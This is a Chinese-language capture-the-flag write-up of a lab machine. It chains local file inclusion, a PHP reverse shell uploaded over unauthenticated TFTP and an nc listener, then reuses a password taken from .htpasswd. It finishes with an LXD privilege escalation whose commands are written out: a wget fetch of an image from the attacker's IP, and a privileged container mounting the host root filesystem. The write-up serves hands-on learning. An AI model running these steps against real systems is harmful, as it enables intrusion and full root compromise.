LFI到LXD提权 - 起始点
LFI到LXD提权
1.LFI本地文件包含
靶机地址为10.129.95.185 攻击机ip为:10.10.14.90
Nmap扫描结果可以看到开启了80端口http服务,并且这个url看起来好眼熟的样子。
这个url已经很明显了,直接测试一手…/…/…/…/…/…/…/…/etc/passwd
果然是本地文件包含,再用burp跑一跑,看看其他信息。
抓包 -> Send Intruder -> 选择好要替换的位置 -> 因为靶机是linux,所以直接选择local file - linux即可
这里仅仅是一个使用burp的小技巧,随便看了点靶机的信息。
因为有一个问题需要回答:目标机器通过UDP运行了什么服务
不得不用Nmap -sU再次扫描UDP端口
发现靶机UDP上开启了tftp,tftp是一种提供无需身份验证的基本文件传输功能
在默认情况下,tftp是不需要身份验证的,任何人都可以连接且上传文件,结合web端的本地文件包含,就可以直接getshell。
2.TFTP传输文件Getshell
因为不需要密码,所以直接连接,输入问号查看一下命令是如何使用的。
可以看到put命令是用来发送文件的,用put命令直接将反弹shell的php上传到靶机
当然此时还不知道路径在哪里,还需要找到路径才可以进行文件包含的操作。
回到一开始的文件包含"/etc/passwd"
这里因为靶机崩了重新启动了一下,所以ip地址改变了。
可以看到主目录是在这个地方,现在在web端构造一下访问地址
同时使用nc进行监听1234端口,即可收到一个shell
使用python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ 来获得一个交互shell
成功Getshell,不过现在的权限是www-data的网站权限,权限是比较低的,所以需要进行提权的操作。
3.提权之路
先看看当前目录有哪些文件
一眼看到.htaccess和.htpasswd,查看一下这两个文件的内容。
得知.htaccess就是普通的一个重定向操作,而htpasswd里面好像是写了账号和密码
会不会是用户呢?来到web页面看看/etc/passwd,搜索一下mike
惊喜,试着切换一下用户
su mike 输入刚刚查看到的密码:Sheffield19
成功登陆mike用户
LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器
它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。
这个漏洞利用到了Alpine image镜像
并且需要挂载,需要安装distrobuilder:https://github.com/lxc/distrobuilder
这里我选择的是从包安装:sudo snap install distrobuilder --classic
因为之前没有接触过这方面,所以这次踩了很多坑,在下载distrobuilder的时候按照wp写的来做,但是其中有些文件直接访问404了,编译不了。
只能选择从包安装,从包安装之后又陷入了路径问题,其实根本不需要管路径的东西。。
其实简单来说就是,安装distrobuilder,构建alpine
确定可以跑起来之后就需要下载Alpine YAML文件并构建它
从包安装的distrobuilder在 “/snap/bin/下面,构建命令:sudo /snap/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8”
最后ls一下,文件夹中多出了压缩文件即为成功。
完事之后,用python临时起一个http服务,在靶机上下载lxd.tar.xz和rootfs.squashfs文件
进入mike用户,下载文件:wget http://10.10.14.90:9000/lxd.tar.xz和wget http://10.10.14.90:9000/rootfs.squashfs
文件已经下载完成,下一步是使用LXC导入图像
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
导入之后可以输入:lxc image list来查看图像列表
添加成功,为了得到所有权限,将安全权限设置为true
lxc init alpine privesc -c security.privileged=true
并且将其装载到根目录
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
然后现在就可以启动一个root权限的shell了
lxc start privesc
lxc exec privesc /bin/sh
得到flag,这次的提权有点麻,有点赶时间,所以仓促了一些。
后面复习一下,可参考https://www.freebuf.com/articles/system/216803.html